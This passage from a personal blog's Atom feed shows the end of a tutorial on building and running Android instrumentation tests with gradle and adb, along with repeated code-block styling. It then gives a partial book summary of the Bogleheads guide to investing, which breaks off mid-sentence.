            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ gradle tasks  <span style="color:#586e75"># Lists all tasks.</span>
</span></span><span style="display:flex;"><span>$ gradle assembleDebug  <span style="color:#586e75"># Assemble debug build</span>
</span></span><span style="display:flex;"><span>$ gradle installDebug  <span style="color:#586e75"># Install debug build</span>
</span></span><span style="display:flex;"><span>$ gradle assembleRelease  <span style="color:#586e75"># Install release build</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>The code will be in src directory, eg. for the Main activity, code is in src/ <strong>main</strong>/java/net/ashishb/TestAndroidApp/Main.java and test is in src/ <strong>androidTest</strong>/java/net/ashishb/TestAndroidApp/MainTest.java</p>
</li>
<li>
<p>For testing, modify the Main class and add square method,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">public</span> <span style="color:#268bd2">static</span> <span style="color:#dc322f">int</span> <span style="color:#268bd2">square</span>(<span style="color:#dc322f">int</span> x) {
</span></span><span style="display:flex;"><span>      <span style="color:#719e07">return</span> x <span style="color:#719e07">*</span> x;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And in MainTest</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>public void testSquare<span style="color:#719e07">()</span> <span style="color:#719e07">{</span>  // Tests must start with <span style="color:#b58900">test</span> prefix.
</span></span><span style="display:flex;"><span>   this.assertEquals<span style="color:#719e07">(</span>100, Main.square<span style="color:#719e07">(</span>10<span style="color:#719e07">))</span>;
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Modify build.gradle to add a testing config</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Groovy
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-groovy" data-lang="groovy"><span style="display:flex;"><span>android <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    defaultConfig <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>      testApplicationId <span style="color:#2aa198">&#34;net.ashishb.TestAndroidApp.test&#34;</span>
</span></span><span style="display:flex;"><span>      testInstrumentationRunner <span style="color:#2aa198">&#34;android.test.InstrumentationTestRunner&#34;</span>
</span></span><span style="display:flex;"><span>      testHandleProfiling <span style="color:#cb4b16">true</span>
</span></span><span style="display:flex;"><span>      testFunctionalTest <span style="color:#cb4b16">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">...</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Run the test(s)</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ gradle installDebug installDebugTest <span style="color:#719e07">&amp;&amp;</span> adb shell am instrument -w -e class net.ashishb.TestAndroidApp.MainTest#testSquare net.ashishb.TestAndroidApp.test/android.test  <span style="color:#586e75"># Runs the testSquare test.</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>$ gradle installDebug installDebugTest <span style="color:#719e07">&amp;&amp;</span> adb shell am instrument -w  net.ashishb.TestAndroidApp.test/android.test.InstrumentationTestRunner  <span style="color:#586e75"># Runs all tests.</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Complete code can be seen at   
    
    
<a href="https://github.com/ashishb/android_gradle_demo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/ashishb/android_gradle_demo</a></p>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/command-line" term="command-line" label="command-line"/><category scheme="https://ashishb.net/tag/gradle" term="gradle" label="gradle"/><category scheme="https://ashishb.net/tag/testing" term="testing" label="testing"/></entry><entry><title type="html">Book summary: Bogleheads guide to investing</title><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="related" type="text/html" title="Personal Finance: Thoughts on peer to peer lending"/><id>https://ashishb.net/book-summary/bogleheads-guide-to-investing/</id><author><name>Ashish Bhatia</name></author><published>2014-12-25T02:46:56+00:00</published><updated>2014-12-25T02:46:56+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock wealth with smart financial habits: start early, understand investments, protect against inflation, and prioritize asset allocation</blockquote><p>While the   
    
    
<a href="https://amzn.to/1GWjgDb?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is overall a good one, unfortunately, it contains a lot of generic financial advice which I decided not to include in the summary.</p>
<h2 id="choose-a-sound-financial-lifestyle">Choose a sound financial lifestyle</h2>
<ol>
<li>Borrowers borrow money from the future in the form of credit loans till the lifestyle collapses, consumers consume money paycheck to paycheck, keepers focus on accumulating wealth over time.</li>
<li>The focus on net worth mentality over paycheck mentality actively works in keepers favor.</li>
</ol>
<h2 id="start-early-and-invest-regularly">Start early and invest regularly</h2>
<ol>
<li>Compounding is key to building wealth, people who save and invest early on gets a huge advantage.</li>
</ol>
<h2 id="know-what-you-are-buying">Know what you are buying</h2>
<ol>
<li>Stocks represent ownership in a corporation.</li>
<li>Bonds are equivalent of lending money to a corporation who returns you interest on that till it finally pays you the original value. Short-term bonds are &lt;1 year. The intermediate term is 2-10 years, and the long-term ones are ten years or more.</li>
<li>Treasury bonds can be purchased directly from   
    
    
<a href="https://www.treasurydirect.gov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">treasurydirect.gov</a> - Series I and TIPS are recommended as inflation-protected bonds.</li>
<li>Municipal bonds are the state and federal tax-exempt.</li>
<li>Bond funds are a collection of bonds with varying maturity dates, the weighted average maturity of them is called duration. A bond fund with a duration of 4 years is expected to lose about 4% in value if interest rates go up by 1%.</li>
<li>Bond fund - short-term - 1 to 4-year maturity, intermediate-term - 4 to 10 years maturity, long-term - 10 year or more in maturity.</li>
<li>A 27-year old should hold ~27% of net investments in bonds.</li>
<li>Mutual funds buy securities (equities, bonds or could be hybrid).</li>
<li>Fund of funds buys other mutual funds. Famous fund of the funds is Vanguard life strategy funds.</li>
<li>Mutual funds are priced at the end of the day (based on the value of equities/bonds they hold).</li>
<li>Annuities combine insurance with investment, mixing the two is a bad idea. Therefore, people are better off considering things like 401(K), IRA, etc. rather than annuities.</li>
<li>ETFs are like mutual funds, but they are traded continuously in the market (which means they can be valued at higher or lower than the value of underlying securities).</li>
</ol>
<h2 id="protecting-against-inflation">Protecting against inflation</h2>
<ol>
<li>Inflation erodes the real value of money over time.</li>
<li>  
    
    
<a href="https://www.treasurydirect.gov/indiv/research/indepth/ibonds/res_ibonds.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Series I bonds</a> have an inflation component, they are bought and sold directly from US treasury.</li>
<li>The market controls   
    
    
<a href="https://www.treasurydirect.gov/indiv/products/prod_tips_glance.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TIPS rates</a>. The only way to guarantee no loss of principal is to buy them in Treasury auctions. Holding them in a taxable account is bad since its inflation adjustment produces taxable   
    
    
<a href="https://money.usnews.com/investing/investing-101/articles/2018-07-09/beware-of-phantom-income-and-the-tax-it-brings?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">phantom income</a>.</li>
<li>Since TIPS are market traded, they must be held to maturity to guarantee no loss of principal, unlike I bonds which have to be held only for one year.</li>
</ol>
<h2 id="how-much-do-you-need-to-save">How much do you need to save</h2>
<p>ashishb&rsquo;s note: This chapter references some calculators which take numbers like future inflation rate, future returns rate after a person turns 65, I think those numbers are just too varied to have any certainty on deciding how much to save.</p>
<h2 id="keep-investments-simple">Keep investments simple</h2>
<ol>
<li>In the rest of our life, we try to be better than the average, go with guts and take action when a crisis happens - all of these are bad for investing.</li>
<li>The best option is to buy index funds which track a particular index. Buy one with low expense ratios - since in the market you get what you don&rsquo;t pay for.</li>
<li>A lot of actively managed funds have good pre-tax but bad after-tax returns since they trade heavily leading to high turnover and pass the realized gains to investors.</li>
</ol>
<h2 id="asset-allocation">Asset allocation</h2>
<ol>
<li>Time and again   
    
    
<a href="https://en.wikipedia.org/wiki/Efficient-market_hypothesis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">various</a> studies have shown that experts cannot predict the market.</li>
<li>A   
    
    
<a href="https://www.cfainstitute.org/learning/products/publications/faj/Pages/faj.v42.n4.39.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">study</a> showed that among four factors - asset allocation of stocks, bonds, and cash, individual security selection, market timing, and costs - 93.6% returns were controlled by asset allocation, active management lead to a reduction of 1.1% in returns.</li>
<li>Another   
    
    
<a href="https://personal.vanguard.com/pdf/s324.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">study</a> by Vanguard showed that 77% of the variability of a fund&rsquo;s return was determined by asset allocation.</li>
<li>For large domestic stocks, returns between 1935-2013 varied between -43% to +54% - for one year period and -1% to +20% for 10 year period.</li>
<li>Risk tolerance is an important consideration - when market crashes, all &ldquo;experts&rdquo; say that worse is yet to come and if that fear can lead you to sell than you are better off with a more conservative bond-focused portfolio.</li>
<li>The international stock allocation should be about 20-40% of the portfolio.</li>
<li>High yield bonds are also known as   
    
    
<a href="https://www.investopedia.com/terms/j/junkbond.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">junk bonds</a> are speculative and not worth the risk. Given that yields are tax-inefficient, people should buy safer bonds instead.</li>
</ol>
<h2 id="costs-matter">Costs matter</h2>
<ol>
<li>From   
    
    
<a href="https://www.investopedia.com/terms/f/front-endload.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">front-end sales commission</a>, deferred sales charge (   
    
    
<a href="https://www.investopedia.com/terms/b/back-end-load.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">back-end loads</a>),   
    
    
<a href="https://www.bogleheads.org/wiki/Purchase_fee?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">purchase fee</a>,   
    
    
<a href="https://www.investopedia.com/terms/e/exchange-fees.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">exchange fee</a>,   
    
    
<a href="https://www.investopedia.com/terms/1/12b-1fees.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">12b-1 fee</a>, and several other such   
    
    
<a href="https://www.bogleheads.org/wiki/Mutual_funds_and_fees?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fees</a> are charged irrespective of how the fund performs.</li>
<li>Funds with higher turnover produce bad after-tax returns.</li>
<li>Always try to invest in lower cost funds.</li>
</ol>
<h2 id="taxes">Taxes</h2>
<ol>
<li>Stock dividends are taxed at a lower rate than regular income.</li>
<li>Bond dividends are taxed as regular income.</li>
<li>Long-term capital gains are taxed at a lower rate.</li>
<li>Unrealized gains/losses are taxed only on realization.</li>
<li>Focus on   
    
    
<a href="https://www.bogleheads.org/wiki/Principles_of_tax-efficient_fund_placement?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tax-efficient placement</a>.</li>
<li>  
    
    
<a href="https://www.bogleheads.org/wiki/Tax-managed_fund_comparison?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tax-managed funds</a> try to focus on improving after-tax returns.</li>
<li>  
    
    
<a href="https://www.bogleheads.org/wiki/Tax_loss_harvesting?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tax-loss harvesting</a> uses short-term losses to reduce tax liabilities.</li>
<li>If you have to buy bonds in your taxable account, buy either munis or US Savings Bonds - Series I or   
    
    
<a href="https://www.treasurydirect.gov/indiv/research/indepth/ebonds/res_e_bonds.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Series EE</a>.</li>
<li>Retirement accounts - (ashishb&rsquo;s note: I have written them in 
